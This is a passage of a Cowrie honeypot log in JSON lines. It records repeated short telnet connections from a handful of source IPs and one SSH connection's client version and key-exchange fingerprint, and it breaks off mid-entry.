{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35938,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e675139b439","protocol":"telnet","message":"New connection: 203.1.9.18:35938 (10.17.0.5:23) [session: 1e675139b439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:46.680786Z"}
{"eventid":"cowrie.session.closed","duration":30.785231113433838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.138893Z","src_ip":"187.45.176.130","session":"fa2d6b493980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978284120559692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.398511Z","src_ip":"185.116.212.16","session":"a3d78033e0e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":56644,"dst_ip":"10.17.0.5","dst_port":23,"session":"240ea4a3c5cf","protocol":"telnet","message":"New connection: 187.45.176.130:56644 (10.17.0.5:23) [session: 240ea4a3c5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.458666Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35952,"dst_ip":"10.17.0.5","dst_port":23,"session":"335c6276891c","protocol":"telnet","message":"New connection: 203.1.9.18:35952 (10.17.0.5:23) [session: 335c6276891c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.664838Z"}
{"eventid":"cowrie.session.closed","duration":30.281245231628418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.941841Z","src_ip":"46.4.133.15","session":"a72bdf5ad102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.382616996765137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.945758Z","src_ip":"46.4.133.15","session":"93b71ce6c801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23603105545044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.962005Z","src_ip":"46.4.133.15","session":"c6c3f520d639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.667184591293335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:47.968572Z","src_ip":"46.4.133.15","session":"54bd5b532c0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81975793838501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:48.976938Z","src_ip":"46.4.133.15","session":"5e2bf4d18929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914339780807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:49.033841Z","src_ip":"46.4.133.15","session":"62f3e417fcc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":35962,"dst_ip":"10.17.0.5","dst_port":23,"session":"a81b3816b4d2","protocol":"telnet","message":"New connection: 203.1.9.18:35962 (10.17.0.5:23) [session: a81b3816b4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:49.136556Z"}
{"eventid":"cowrie.session.closed","duration":30.736084938049316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:49.951009Z","src_ip":"46.4.133.15","session":"0483f19f820d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658417463302612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:49.993970Z","src_ip":"46.4.133.15","session":"71bd750a98e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740814685821533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:50.090426Z","src_ip":"187.45.176.130","session":"1c94a4a8141a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95518732070923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:50.117490Z","src_ip":"46.4.133.15","session":"90568cefe277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93128490447998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:50.294333Z","src_ip":"46.4.133.15","session":"64fe227e5715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":58754,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0405bf76a2","protocol":"telnet","message":"New connection: 103.153.64.19:58754 (10.17.0.5:23) [session: ea0405bf76a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:50.613702Z"}
{"eventid":"cowrie.session.closed","duration":30.783297300338745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.007442Z","src_ip":"46.4.133.15","session":"dcfdc1395f13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878069639205933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.038073Z","src_ip":"46.4.133.15","session":"46eda734859e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71973967552185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.071497Z","src_ip":"187.45.176.130","session":"6e26216c78de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38716,"dst_ip":"10.17.0.5","dst_port":23,"session":"901bfa055c8c","protocol":"telnet","message":"New connection: 203.1.9.18:38716 (10.17.0.5:23) [session: 901bfa055c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.110527Z"}
{"eventid":"cowrie.session.closed","duration":30.766358852386475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.131173Z","src_ip":"185.116.212.16","session":"c9b453081bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.345675706863403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.176378Z","src_ip":"185.116.212.16","session":"60a1267214d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.483951807022095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.194845Z","src_ip":"46.4.133.15","session":"d7aeb9fcf834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38726,"dst_ip":"10.17.0.5","dst_port":23,"session":"777de3e51f1c","protocol":"telnet","message":"New connection: 203.1.9.18:38726 (10.17.0.5:23) [session: 777de3e51f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.678775Z"}
{"eventid":"cowrie.session.closed","duration":30.692952871322632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.947799Z","src_ip":"46.4.133.15","session":"71800222438b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60238766670227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:51.951418Z","src_ip":"46.4.133.15","session":"c6dcc069d302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239975690841675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:52.449139Z","src_ip":"187.45.176.130","session":"813084b69f94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":33090,"dst_ip":"10.17.0.5","dst_port":23,"session":"25a910dd878b","protocol":"telnet","message":"New connection: 187.45.176.130:33090 (10.17.0.5:23) [session: 25a910dd878b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:52.697919Z"}
{"eventid":"cowrie.session.closed","duration":30.949408531188965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:52.987059Z","src_ip":"46.4.133.15","session":"d932707fb14f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38734,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8ce9b7c18d","protocol":"telnet","message":"New connection: 203.1.9.18:38734 (10.17.0.5:23) [session: 5f8ce9b7c18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:53.563470Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38744,"dst_ip":"10.17.0.5","dst_port":23,"session":"45d699324926","protocol":"telnet","message":"New connection: 203.1.9.18:38744 (10.17.0.5:23) [session: 45d699324926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:53.633667Z"}
{"eventid":"cowrie.session.closed","duration":30.82108235359192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:53.938870Z","src_ip":"46.4.133.15","session":"0d8141e6374e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bd057048707","protocol":"telnet","message":"New connection: 203.1.9.18:38748 (10.17.0.5:23) [session: 0bd057048707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:54.055402Z"}
{"eventid":"cowrie.session.closed","duration":30.51980495452881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:54.205897Z","src_ip":"46.4.133.15","session":"7c9a4c64766d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":58766,"dst_ip":"10.17.0.5","dst_port":23,"session":"45f2f5201127","protocol":"telnet","message":"New connection: 103.153.64.19:58766 (10.17.0.5:23) [session: 45f2f5201127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:54.606281Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38760,"dst_ip":"10.17.0.5","dst_port":23,"session":"695fd09b6f14","protocol":"telnet","message":"New connection: 203.1.9.18:38760 (10.17.0.5:23) [session: 695fd09b6f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:54.672088Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38762,"dst_ip":"10.17.0.5","dst_port":23,"session":"385993802335","protocol":"telnet","message":"New connection: 203.1.9.18:38762 (10.17.0.5:23) [session: 385993802335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:55.242059Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38772,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cebd7677c58","protocol":"telnet","message":"New connection: 203.1.9.18:38772 (10.17.0.5:23) [session: 9cebd7677c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:55.705491Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38778,"dst_ip":"10.17.0.5","dst_port":23,"session":"039e9376cead","protocol":"telnet","message":"New connection: 203.1.9.18:38778 (10.17.0.5:23) [session: 039e9376cead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:56.028457Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38792,"dst_ip":"10.17.0.5","dst_port":23,"session":"799e49092089","protocol":"telnet","message":"New connection: 203.1.9.18:38792 (10.17.0.5:23) [session: 799e49092089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:56.093576Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38794,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a5f551f6a0","protocol":"telnet","message":"New connection: 203.1.9.18:38794 (10.17.0.5:23) [session: 42a5f551f6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:56.279779Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38796,"dst_ip":"10.17.0.5","dst_port":23,"session":"3519bbc99d84","protocol":"telnet","message":"New connection: 203.1.9.18:38796 (10.17.0.5:23) [session: 3519bbc99d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:56.810394Z"}
{"eventid":"cowrie.session.closed","duration":30.473618984222412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:56.991132Z","src_ip":"46.4.133.15","session":"e3202ebca1be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980345249176025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:57.135158Z","src_ip":"46.4.133.15","session":"72c990b7eb1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932297468185425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:57.291262Z","src_ip":"187.45.176.130","session":"d29a06919d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43538,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd558829831a","protocol":"telnet","message":"New connection: 103.153.64.19:43538 (10.17.0.5:23) [session: fd558829831a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:57.711087Z"}
{"eventid":"cowrie.session.closed","duration":30.344974040985107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:57.965068Z","src_ip":"46.4.133.15","session":"b290f0a02fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797052145004272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:57.981274Z","src_ip":"46.4.133.15","session":"79f8d8f16b49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090656518936157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:57.988028Z","src_ip":"46.4.133.15","session":"595a2bd8a33d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825870752334595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:58.020938Z","src_ip":"46.4.133.15","session":"009e0bc75c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f52c4f24b62","protocol":"telnet","message":"New connection: 103.153.64.19:43548 (10.17.0.5:23) [session: 8f52c4f24b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:58.648138Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38824,"dst_ip":"10.17.0.5","dst_port":23,"session":"0089c1133e32","protocol":"telnet","message":"New connection: 203.1.9.18:38824 (10.17.0.5:23) [session: 0089c1133e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:58.907851Z"}
{"eventid":"cowrie.session.closed","duration":30.819292545318604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:58.958925Z","src_ip":"46.4.133.15","session":"40265d1d8daf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43560,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5373919ae39","protocol":"telnet","message":"New connection: 103.153.64.19:43560 (10.17.0.5:23) [session: b5373919ae39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:59.043174Z"}
{"eventid":"cowrie.session.closed","duration":30.48191523551941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:59.104686Z","src_ip":"187.45.176.130","session":"a5de0754d64f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91805648803711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:59.176879Z","src_ip":"187.45.176.130","session":"03aea7e6e3cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":38812,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf8e2e859af","protocol":"telnet","message":"New connection: 203.1.9.18:38812 (10.17.0.5:23) [session: adf8e2e859af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:59.775852Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43566,"dst_ip":"10.17.0.5","dst_port":23,"session":"f021ca73dcbc","protocol":"telnet","message":"New connection: 103.153.64.19:43566 (10.17.0.5:23) [session: f021ca73dcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:59.879577Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59144,"dst_ip":"10.17.0.5","dst_port":23,"session":"68c02ea36a10","protocol":"telnet","message":"New connection: 203.1.9.18:59144 (10.17.0.5:23) [session: 68c02ea36a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:34:59.945476Z"}
{"eventid":"cowrie.session.closed","duration":30.76325035095215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:00.067148Z","src_ip":"46.4.133.15","session":"8309a14af534","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"610ee7728d12","protocol":"telnet","message":"New connection: 203.1.9.18:59158 (10.17.0.5:23) [session: 610ee7728d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:00.125067Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43580,"dst_ip":"10.17.0.5","dst_port":23,"session":"b63db7c50ad2","protocol":"telnet","message":"New connection: 103.153.64.19:43580 (10.17.0.5:23) [session: b63db7c50ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:00.182252Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43590,"dst_ip":"10.17.0.5","dst_port":23,"session":"0851682d9702","protocol":"telnet","message":"New connection: 103.153.64.19:43590 (10.17.0.5:23) [session: 0851682d9702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:00.964804Z"}
{"eventid":"cowrie.session.closed","duration":31.94252371788025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.006773Z","src_ip":"185.116.212.16","session":"1a5d2880dbab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740419149398804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.101661Z","src_ip":"187.45.176.130","session":"14bdd5c12419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071542263031006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.108314Z","src_ip":"46.4.133.15","session":"79a6885d5677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a99b6c2330","protocol":"telnet","message":"New connection: 203.1.9.18:59164 (10.17.0.5:23) [session: e7a99b6c2330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.472891Z"}
{"eventid":"cowrie.session.closed","duration":31.18330979347229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.790616Z","src_ip":"46.4.133.15","session":"be180c5a4369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96789860725403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.966588Z","src_ip":"46.4.133.15","session":"b939787884e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59168,"dst_ip":"10.17.0.5","dst_port":23,"session":"159e87f305dd","protocol":"telnet","message":"New connection: 203.1.9.18:59168 (10.17.0.5:23) [session: 159e87f305dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.975580Z"}
{"eventid":"cowrie.session.closed","duration":30.76661205291748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:01.993733Z","src_ip":"46.4.133.15","session":"0c30c7b6054a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700007915496826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:02.010333Z","src_ip":"46.4.133.15","session":"d897e5b33471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5590558052063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:02.021544Z","src_ip":"46.4.133.15","session":"e8fbfe6eabc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60224,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c56516e8054","protocol":"ssh","message":"New connection: 159.203.92.129:60224 (159.203.135.109:22) [session: 8c56516e8054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:02.572649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:02.679538Z","src_ip":"159.203.92.129","session":"8c56516e8054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 